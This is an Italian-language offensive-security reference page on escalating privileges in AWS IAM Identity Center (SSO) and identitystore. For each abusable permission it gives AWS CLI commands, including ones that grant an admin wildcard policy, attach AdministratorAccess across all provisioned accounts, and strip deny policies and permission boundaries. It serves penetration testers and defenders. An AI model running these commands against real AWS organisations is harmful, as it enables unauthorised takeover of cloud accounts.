# AWS - SSO & identitystore Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS Identity Center / AWS SSO

Per maggiori informazioni su AWS Identity Center / AWS SSO consulta:

{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}

> [!WARNING]
> Nota che, per **default**, solo gli **utenti** con permessi del **Management Account** potranno accedere e **controllare l'IAM Identity Center**.\
> Gli utenti di altri account possono farlo solo se l'account è un **Delegated Administrator.**\
> [Consulta la documentazione per maggiori informazioni.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)

### ~~Reset Password~~

Un modo semplice per elevare i privilegi in casi come questo sarebbe avere un permesso che consente di resettare le password degli utenti. Sfortunatamente è possibile soltanto inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accesso alla email dell'utente.

### `identitystore:CreateGroupMembership`

Con questo permesso è possibile inserire un utente in un gruppo in modo che erediti tutti i permessi del gruppo.
```bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
```
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`

Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
```bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`

Un attacker con questo permesso può concedere permessi aggiuntivi a un Permission Set assegnato a un utente sotto il suo controllo.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`

Un attacker con questa permission potrebbe concedere permessi aggiuntivi a un Permission Set che è assegnato a un user sotto il suo controllo.

> [!WARNING]
> Per abusare di queste permissions in questo caso devi conoscere il **nome di una customer managed policy che sia presente in TUTTI gli accounts** che verranno interessati.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:CreateAccountAssignment`

Un attaccante con questa autorizzazione potrebbe assegnare un Permission Set a un utente sotto il suo controllo a un account.
```bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
```
### `sso:GetRoleCredentials`

Restituisce le credenziali STS a breve termine per un dato nome del ruolo assegnato all'utente.
```
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
```
Tuttavia, è necessario un access token che non sono sicuro di come ottenere (TODO).

### `sso:DetachManagedPolicyFromPermissionSet`

Un attacker con questo permesso può rimuovere l'associazione tra una managed policy di AWS e il permission set specificato. È possibile concedere ulteriori privilegi tramite **la rimozione (detach) di una managed policy (deny policy)**.
```bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`

Un attacker con questo permesso può rimuovere l'associazione tra una Customer managed policy e il permission set specificato. È possibile ottenere privilegi aggiuntivi tramite **detaching a managed policy (deny policy)**.
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```
### `sso:DeleteInlinePolicyFromPermissionSet`

Un attaccante con questa permission può rimuovere le autorizzazioni di una inline policy associata al permission set. È possibile ottenere **maggiori privilegi rimuovendo (detaching) una inline policy (deny policy)**.
```bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
```
### `sso:DeletePermissionBoundaryFromPermissionSet`

Un attacker in possesso di questa permission può rimuovere il Permission Boundary dal permission set. È possibile concedere **più privilegi rimuovendo le restrizioni sul Permission Set** imposte dal Permission Boundary.
```bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
```
{{#include ../../../../banners/hacktricks-training.md}}
